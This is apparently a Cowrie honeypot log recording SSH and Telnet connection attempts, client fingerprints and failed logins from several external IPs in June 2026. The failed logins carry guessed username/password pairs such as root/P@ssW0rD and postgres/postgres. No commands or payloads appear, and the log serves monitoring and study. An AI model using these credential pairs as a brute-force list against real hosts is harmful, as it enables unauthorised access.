{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:35.350077Z","src_ip":"189.203.163.10","session":"ac9c11fdee51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rank","password":"123456","message":"login attempt [rank/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:35.639954Z","src_ip":"189.203.163.10","session":"ac9c11fdee51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:36.706151Z","src_ip":"189.203.163.10","session":"ac9c11fdee51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":43142,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec23e0b49530","protocol":"ssh","message":"New connection: 76.79.213.69:43142 (10.17.0.5:22) [session: ec23e0b49530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:00.684340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:00.688981Z","src_ip":"76.79.213.69","session":"ec23e0b49530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:00.810749Z","src_ip":"76.79.213.69","session":"ec23e0b49530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exploit","password":"exploit","message":"login attempt [exploit/exploit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:01.332467Z","src_ip":"76.79.213.69","session":"ec23e0b49530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:02.458472Z","src_ip":"76.79.213.69","session":"ec23e0b49530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35902,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c91bd8eb42","protocol":"telnet","message":"New connection: 172.81.62.90:35902 (159.203.135.109:23) [session: a0c91bd8eb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:13.407322Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":42630,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebbe862ac311","protocol":"ssh","message":"New connection: 160.251.185.39:42630 (10.17.0.5:22) [session: ebbe862ac311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:18.776117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:18.781426Z","src_ip":"160.251.185.39","session":"ebbe862ac311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:18.960290Z","src_ip":"160.251.185.39","session":"ebbe862ac311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32960,"dst_ip":"159.203.135.109","dst_port":23,"session":"82b38273ede2","protocol":"telnet","message":"New connection: 128.199.8.54:32960 (159.203.135.109:23) [session: 82b38273ede2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:18.981418Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:19.713857Z","src_ip":"160.251.185.39","session":"ebbe862ac311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:20.897905Z","src_ip":"160.251.185.39","session":"ebbe862ac311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46748,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c4f47fdb672","protocol":"ssh","message":"New connection: 27.71.230.31:46748 (159.203.135.109:22) [session: 1c4f47fdb672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:21.489187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:21.541909Z","src_ip":"27.71.230.31","session":"1c4f47fdb672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:24.446284Z","src_ip":"27.71.230.31","session":"1c4f47fdb672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":48764,"dst_ip":"10.17.0.5","dst_port":22,"session":"54095348adab","protocol":"ssh","message":"New connection: 5.89.75.194:48764 (10.17.0.5:22) [session: 54095348adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:28.499073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:28.504064Z","src_ip":"5.89.75.194","session":"54095348adab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:28.613833Z","src_ip":"5.89.75.194","session":"54095348adab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sunil","password":"1234","message":"login attempt [sunil/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:29.061733Z","src_ip":"5.89.75.194","session":"54095348adab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!123","message":"login attempt [root/password!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:29.100508Z","src_ip":"27.71.230.31","session":"1c4f47fdb672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:30.168714Z","src_ip":"5.89.75.194","session":"54095348adab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:30.540852Z","src_ip":"27.71.230.31","session":"1c4f47fdb672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.28770446777344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:43:51.694939Z","src_ip":"172.81.62.90","session":"a0c91bd8eb42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.59008240699768,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:02.571368Z","src_ip":"128.199.8.54","session":"82b38273ede2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a608dde7271","protocol":"telnet","message":"New connection: 172.81.62.90:57228 (159.203.135.109:23) [session: 4a608dde7271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:18.530643Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57216,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa0a0bfc3582","protocol":"telnet","message":"New connection: 172.81.62.90:57216 (159.203.135.109:23) [session: aa0a0bfc3582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:24.574525Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":52346,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d098150df79","protocol":"ssh","message":"New connection: 189.203.163.10:52346 (10.17.0.5:22) [session: 7d098150df79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:42.253520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:42.257873Z","src_ip":"189.203.163.10","session":"7d098150df79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:42.320609Z","src_ip":"189.203.163.10","session":"7d098150df79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mein","password":"mein123","message":"login attempt [mein/mein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:42.607790Z","src_ip":"189.203.163.10","session":"7d098150df79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:43.673923Z","src_ip":"189.203.163.10","session":"7d098150df79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.29465913772583,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:44:56.825161Z","src_ip":"172.81.62.90","session":"4a608dde7271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":53694,"dst_ip":"10.17.0.5","dst_port":22,"session":"439c904af050","protocol":"ssh","message":"New connection: 201.17.146.173:53694 (10.17.0.5:22) [session: 439c904af050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:00.728053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:00.732423Z","src_ip":"201.17.146.173","session":"439c904af050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:00.977271Z","src_ip":"201.17.146.173","session":"439c904af050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"documentacion","password":"123456","message":"login attempt [documentacion/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:01.642226Z","src_ip":"201.17.146.173","session":"439c904af050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.31607413291931,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:01.890469Z","src_ip":"172.81.62.90","session":"aa0a0bfc3582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:02.795356Z","src_ip":"201.17.146.173","session":"439c904af050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":53462,"dst_ip":"10.17.0.5","dst_port":22,"session":"43caed65b23f","protocol":"ssh","message":"New connection: 160.251.185.39:53462 (10.17.0.5:22) [session: 43caed65b23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:11.131212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:11.137693Z","src_ip":"160.251.185.39","session":"43caed65b23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:11.309441Z","src_ip":"160.251.185.39","session":"43caed65b23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rD","message":"login attempt [root/P@ssW0rD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:12.029494Z","src_ip":"160.251.185.39","session":"43caed65b23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":53052,"dst_ip":"10.17.0.5","dst_port":22,"session":"df1c14ba2543","protocol":"ssh","message":"New connection: 76.79.213.69:53052 (10.17.0.5:22) [session: df1c14ba2543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:12.150055Z"}
